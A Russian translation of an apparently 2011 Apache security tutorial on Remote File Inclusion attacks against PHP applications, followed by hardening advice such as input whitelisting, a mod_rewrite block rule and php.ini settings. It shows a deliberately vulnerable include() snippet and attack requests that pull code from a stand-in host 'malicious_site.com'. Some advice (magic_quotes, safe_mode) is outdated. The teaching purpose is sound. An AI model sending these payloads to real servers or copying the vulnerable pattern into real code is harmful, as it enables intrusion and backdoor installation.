Наши партнеры

UnixForum





Библиотека сайта rus-linux.net

Безопасная эксплуатация Apache, часть 9: атаки на PHP-приложения

Оригинал: Securing Apache, Part 9: Attacks that Target PHP-based Instances
Автор: Arpit Bajpai
Дата публикации: 1 Мая 2011 г.
Перевод: А.Панин
Дата перевода: 4 Февраля 2013 г.

Начиная с первой части данной серии статей, мы рассматривали основные типы атак на веб-приложения и серверы, приводя примеры уязвимого кода PHP. В данной статье мы рассмотрим атаки, целью которых являются именно PHP-приложения и которые не рассматривались ранее.

Атаки удаленного включения файлов (RFI)

Техника удаленного включения файлов (Remote File Inclusion) используется в атаках против веб-приложений, проводимых с удаленного компьютера. В ходе этих атак злоумышленники исполняют свой код на уязвимом веб-сервере, включая этот код в состав кода веб-приложения на удаленном сервере при помощи манипуляций со строкой URL. При исполнении веб-приложением вредоносного кода становится возможной установка бэкдора или получение технической информации от сервера. В данном случае имеет место уязвимость приложения, существующая по причине недостаточной проверки вводимых пользователями данных.

Более опасной данную уязвимость делает то обстоятельство, что для ее эксплуатации взломщику необходимо только догадаться о ее существовании, а также обладать базовыми знаниями языков PHP и Bash, так как большинство серверов на сегодняшний день работает под управлением ОС Linux. Давайте подробнее рассмотрим простой сценарий атаки.

Сценарий атаки 1

Рассмотрим следующий код PHP, являющийся уязвимым для атак удаленного включения файлов:
<?php
$format = 'convert_2_text';
if (isset( $_GET['FORMAT'] ) )
{
    $format = $_GET['FORMAT'];
}
include( $format . '.php' );
?>
Код, приведенный выше, может вызываться со следующей HTML-страницы:
<form method="get">
    <select name="FORMAT">
        <option value="convert_2_text">text</option>
        <option value="convert_2_html">html</option>
        <option value="convert_2_pdf">pdf</option>
    </select>
    <input type="submit">
</form>
Для эксплуатации уязвимости взломщик может отправить следующий запрос:
GET /?FORMAT=http://www.malicious_site.com/hacker.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Примечание: Взломщик может отправить этот запрос либо изменив значение поля после ?FORMAT= в строке URL, либо отправив отдельно HTTP-запросы.
Веб-приложение не проводит проверки значения параметра FORMAT и позволяет произвести инъекцию кода с удаленного узла при помощи функции include языка PHP. Эта функция обычно используется только для включения внутренних файлов приложения, но может использоваться и так, как показано выше для включения внешнего файла. В этом случае удаленный файл (hacker.php) может содержать код, который (после включения в состав приложения) может получать важную информацию от приложения или позволяет установить бэкдор. Код может выглядеть так, как показано ниже:
<?php
echo "Victim's operating system: @PHP_OS";
echo "Victim's system id: system(id)";
echo "Victim's current user: get_current_user()";
echo "Victim's phpversion: phpversion()";
echo "Victim's server name: $_SERVER['SERVER_NAME']";
exit;
?>

Данный код получает информацию о имени атакуемого сервера, операционной системе, программном обеспечении сервера, и.т.д. В ходе реальной атаки может применяться более сложный код, часто скачивающий бэкдоры с веб-интерфейсом для установки в систему.

Двумя наиболее часто используемыми и известными бэкдорами являются r59 shell и c99 shell. Они реализуют веб-интерфейс, позволяющий их пользователям скачивать файлы с сервера и загружать их на сервер, создавать процессы для отслеживания веб-трафика в системе, отправлять сообщения электронной почты, осуществлять соединения с другими серверами и администрировать базы данных SQL.

При наличии бэкдора r57 shell в скомпрометированной системе взломщики могут без труда модифицировать код веб-приложения, используя свои браузеры. Например, в приложениях электронной коммерции могут быть внесены изменения в PHP-код обработки процесса оплаты с целью отправки данных кредитной карты на внешний адрес электронной почты или с целью сохранения этих данных в базе данных для того, чтобы взломщики получили их в будущем. Подробное схематичное изображение процесса атаки удаленного включения файлов приведено на Рисунке 1.

Атака удаленного включения файлов
Рисунок 1: Атака удаленного включения файлов

Примечание: В примере выше рассматривается включение файла с расширением .php, но взломщик также может использовать файл с расширением .txt и PHP-кодом внутри, просто добавив символ ? в конец строки URL для того, чтобы приложение рассматривало файл hacker.txt как файл с расширением .php вместо .txt - запрос будет выглядеть следующим образом:
GET /?FORMAT=http://www.malicious_site.com/hacker.txt? HTTP/1.1
(Мы будем опускать строки параметров Host и User-Agent, аналогичные приведенным выше, в этом и следующих примерах.)

Сценарий атаки 2

Взломщик может эксплуатировать уязвимость удаленного включения файлов и другим способом - включив удаленный файл, добавляя код в строку запроса также, как в следующем вредоносном запросе:
GET /?FORMAT={${include("http://www.malicious_site.com/hacker.txt")}}{${exit()}}HTTP/1.1

Мероприятия по повышению безопасности

Ряд факторов может предотвратить успешную эксплуатацию данных уязвимостей - любые улучшения безопасности работы системы, использование систем предупреждения проникновения, использование экранов для приложений или использование специальных правил для межсетевых экранов. Также в новых версиях PHP команда разработчиков внесла изменения в настройки по умолчанию, запретив удаленные включения файлов с использованием обозначений протоколов http:// и ftp://. Однако, вы можете все еще использовать устаревшую версию PHP, поэтому следующие советы могут оказаться полезными:
  1. Используйте специальную проверку корректности значения параметра 'FORMAT' или аналогичных параметров:
    <?php
    $format = 'convert_2_text';
    if (isset( $_GET['FORMAT'] ) )
    {
        if ($_GET['FORMAT'] =="convert_2_text" || $_GET['FORMAT'] =="convert_2_pdf" || $_GET['FORMAT'] =="convert_2_html")
        {
            $format = $_GET['FORMAT'];
        }
        include( $format . '.php' );
    }
    ?>
    	
  2. Примените мощные механизмы проверки корректности передаваемых данных; запретите использование уязвимых параметров в строках URL. Данный блог содержит неплохие примеры реализации таких проверок. Также вредоносные запросы часто содержат IP-адрес в строке URL, например, GET /?FORMAT=http://192.0.55.2/hacker.php HTTP/1.1. Ваш механизм проверки может использовать регулярное выражение (ht|f)tps?://, после которого должна следовать проверка на наличие IP-адреса.
  3. При реализации большинства атак удаленного включения файлов, в строке запроса после включения содержится как минимум один знак вопроса без каких-либо параметров после него для обхода дополнений строки с пользовательским вводом приложением.
  4. Большинство взломщиков хранят свои вредоносные программы (c99 shell или r57 shell) на сайтах бесплатных хостинг-провайдеров и используют их домены в ходе атак. Эти хостинг-провайдеры должны жестко следить за тем, не загружают ли их пользователи бэкдоры c99 shell, r57 shell или другие программы, которые могут оказаться вредоносными.
  5. 5. Использование модуля Apache mod_rewrite является также эффективной мерой безопасности для предотвращения атак удаленного включения файлов. Для использования этого модуля добавьте следующие строки в ваш файл .htaccess:
    RewriteEngine On
    RewriteCond %{QUERY_STRING} (.*)(http|https|ftp)://(.*)
    RewriteRule ^(.+)$ - [F,L]
    
    Директива RewriteCond производит проверку соответствия строки запроса заданному регулярному выражению, а директива RewriteRule устанавливает параметры перенаправления взломщика. В нашем случае параметры F и L позволяют заблокировать запрос.
  6. Существуют два параметра файла php.ini, которые контролируют различные аспекты обработки файлов и значение которых вы можете установить для предотвращения атак удаленного включения файлов:
    allow_url_fopen=off
    allow_url_include=off
    
  7. Директивы magic_quotes управляют раскрытием кавычек средствами PHP в передаваемых приложению пользовательских данных. Например, можно установить директиву magic_quotes_gpc=On в файле php.ini для раскрытия одинарных и двойных кавычек, обратных слэшей и нулевых символов в сочетании в обратными слэшами в запросах GET, POST и куках. Другая директива (magic_quotes_runtime=On) раскрывает кавычки в списках выбора функций. Более подробное описание доступно в документации PHP. Данные директивы также позволяют предотвратить SQL-инъекции.
  8. Безопасный режим работы PHP позволяет использовать довольно безопасное программное окружение; его активация (для этого в файле php.ini следует установить директиву safe_mode=On) заставляет PHP отказаться от использования функций, которые могут представлять угрозу для безопасности. Однако, существует множество путей обхода данных ограничений, показанных в статье H D Moore. Другой особенностью, которую следует учесть, является отказ от включения безопасного режима в версию PHP 6.0 - разработчики PHP признали, что использование этого режима не является эффективной мерой повышения безопасности приложения. Однако, если вы используете предыдущие версии PHP, включение данного режима (в случае корректной работы вашего приложения с ним) может помочь в противодействии определенным типам атак.
  9. В большинстве случаев не существует причин для разрешения веб-приложению чтения файлов, находящихся вне корневой директории веб-сервера. Обычно файлы веб-сервера хранятся в директории /var/www, причем файлы каждого приложения хранятся в его собственной поддиректории. Если это утверждение применимо к вашему случаю, для большей безопасности ограничьте возможность чтения файлов, находящихся вне корневой директории веб-сервера, для кода PHP при помощи директивы open_basedir=/var/www.

Продолжение статьи: "Безопасная эксплуатация Apache, часть 9: атаки на PHP-приложения (продолжение)"